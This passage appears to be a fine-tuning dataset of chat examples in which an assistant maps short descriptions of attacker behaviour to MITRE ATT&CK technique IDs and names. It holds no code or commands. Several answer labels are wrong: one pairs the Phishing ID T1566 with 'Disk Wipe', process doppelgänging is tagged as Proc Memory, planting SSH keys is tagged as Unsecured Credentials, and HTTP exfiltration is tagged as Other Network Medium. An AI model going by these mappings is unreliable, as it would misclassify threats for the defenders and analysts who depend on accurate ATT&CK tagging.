            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accessed the Windows Credential Vault to retrieve saved usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro triggers when a USB device is detected, uploading selected documents to the USB."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses PowerShell to compress and upload selected files to a malicious OneDrive account."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies kernel parameters to cause kernel panic."
            },
            {
                "role": "assistant",
                "content": "T1566 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a bootloader weakness to write an older system image, reverting the device to an insecure configuration."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs automated tools to enumerate publicly available database dump files from open data portals, seeking credential information."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised content management system, the adversary dropped a Ruby-based web shell that allowed them to download and execute additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising the host, the threat actor uses a USB-based data stealing tool to transfer sensitive data onto a flash drive."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a combination of phishing and credential harvesting, the threat actor sends a mass email with a subject line \"Urgent: Password Expiration Notice\" that directs recipients to a counterfeit portal for credential submission."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious JavaScript running in a compromised web page reads the clipboard contents via the Clipboard API and sends the data to an attacker-controlled server."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries retrieve WHOIS data to identify the domain's registration expiry and plan a potential hijacking operation."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a compromised admin account to edit Group Policy and enable remote RDP access."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious service is installed that starts automatically when a particular network connection is detected."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group gains access to the traffic management system and remotely alters signal phases to disrupt emergency response routes."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors query public certificate transparency logs to find newly issued TLS certificates for the victim."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware validates that a recent file open dialog was used by checking for recent shell interactions, using this as a sandbox evasion check."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exfiltrates data using a covert HTTP POST request to a malicious web server masquerading as a benign site."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivered a seemingly innocent image file that actually contained an embedded ransomware payload hidden using steganography."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through compromised credentials, the intruder provisions additional virtual machines and runs crypto mining workloads."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages Google dork queries to find publicly disclosed vulnerability reports related to the target’s hardware devices."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stores a malicious script in a hidden file with a \".bak\" extension, blending it in with legitimate backup files."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a vulnerability in a cloud service to gain access to sensitive data"
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party SaaS integration adds a malicious function to a victim's AWS Step Functions state machine, causing the function to run code that harvests IAM credentials."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits a vulnerability in the SIP enforcement mechanism to bypass code signing enforcement and load rogue drivers."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary queries commercial threat intelligence providers for previously undisclosed vulnerability data."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor accesses paid dark‑web intelligence forums to collect information about exploited zero‑day vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker repeatedly initiates MFA push requests to the victim's mobile device, hoping the user will approve one out of fatigue."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A PowerShell script uploads user documents to a malicious OneDrive account using the API."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows 'wscript.exe' host to execute a VBScript that launches a payload."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the WMI service over DCOM to execute commands on a remote system."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder strips away persistence by purging registry Run and RunOnce entries that were created during the attack."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware maps the VDSO segment and patches its syscalls, enabling stealthy process injection without using traditional DLLs."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following a supply chain compromise, adversaries retrieve stored Salesforce access tokens from a CI/CD pipeline and use them to download confidential customer records."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ process doppelgänging, creating a process and then injecting code into its memory using low-level system calls."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages Bing and other search tools to locate the victim's personal websites and online portfolios."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses built‑in commands to list all saved Wi‑Fi networks and their associated passwords on the host."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script abuses the Linux .ssh/authorized_keys file to embed attacker‑controlled keys."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts passwords from Firefox's \"logins.json\" file stored in the user profile."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker collects information from publicly accessible websites and domain services to support subsequent exploitation."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script embedded in an online video player exploits a browser flaw, resulting in silent installation of spyware on viewers."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses a low‑level driver to continuously log keystrokes, including confidential credentials, for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A vulnerability in a cloud service provider's infrastructure is exploited by an attacker to gain access to customer data."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers set up a new domain and configure it with DNS records that point to their hidden C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary ships a malicious installer that triggers execution of a credential‑stealing tool when the user runs the installer package."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware scans the Windows registry for keys and values that reveal system configuration and installed applications."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use compromised Azure PowerShell to run \"Remove-AzResourceGroup\" and delete entire resource groups."
            },
            {
                "role": "assistant",
                "content": "T1651 - Cloud Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create high‑CPU load processes to cause denial of service on the host."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor sends a phishing email that appears to come from the company's CFO, asking the finance team to approve an urgent payment to a new vendor."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant queries the macOS IOKit registry for IOUSBDevice entries to discover attached hardware."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group sent a weaponized document containing a stripped payload, with all identifiable markers removed to hide its malicious intent."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends unauthenticated requests to the Docker daemon's REST API to enumerate stored registry credentials and retrieve Docker Hub tokens."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures an encrypted IPsec tunnel to maintain a stealthy command channel."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor embeds a malicious macro in a document that only activates when the document is opened in a specific version of Office, acting as a trap to run the payload on that event."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involved a Python script that disables Windows Defender real‑time protection."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses token manipulation to replace a low‑privilege token with a high‑privilege one."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries hide their tools by setting the hidden and system attributes on NTFS files."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through Mavinject, the malware hijacks a legitimate system process to run its payload, evading detection."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious extension reads the session token from the browser's cookies to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion removes persistent network share connections to erase indicators of compromise."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors exploit misconfigured routers to send massive amounts of traffic to a target's network, causing a direct flood and service interruption."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits an insecure S3 bucket to replace the website's logo with a defacement image."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the DYLD_INSERT_LIBRARIES technique, malware forces a victim process to load a malicious dynamic library, achieving execution of arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious .webp image is shared in a forum; the victim’s browser interprets an exploit in the image codec, resulting in the execution of a ransomware payload when the image loads."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs a man‑in‑the‑middle tool that duplicates every outgoing request and forwards it to an attacker‑controlled host."
            },
            {
                "role": "assistant",
                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs open-source searches for the victim's website domain to collect information about the organization's online presence."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a stripped-down payload where all unnecessary code sections are removed, leaving only the core malicious functionality."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals sent a malicious Excel spreadsheet titled \"Q3_Financials.xlsx\" that leveraged a macro to download ransomware onto the victim's system."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team exploits a container escape vulnerability (CVE-2022-XXXX) to break out of the isolated environment and gain a foothold on the host OS."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider extracts an application access token stored in a configuration file and leverages it to access the victim's Azure resources without needing user credentials."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a privilege escalation flaw to rewrite the system's boot manager image with malicious code."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a custom port monitor DLL to load during user logon, allowing them to hijack printing functions for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ a staged exfiltration method, first staging data on a local server then gradually transferring it in sub‑megabyte batches to avoid triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider used a scheduled task to replace the internal site’s index page with a defacement message overnight."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queried the system's network stack through WMI to retrieve details about established connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising a third‑party vendor’s service account, the threat actor accessed the target organization’s internal resources through the trusted supplier relationship."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers hijack web hosting resources by deploying malicious scripts that mine crypto coins on visitor browsers."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
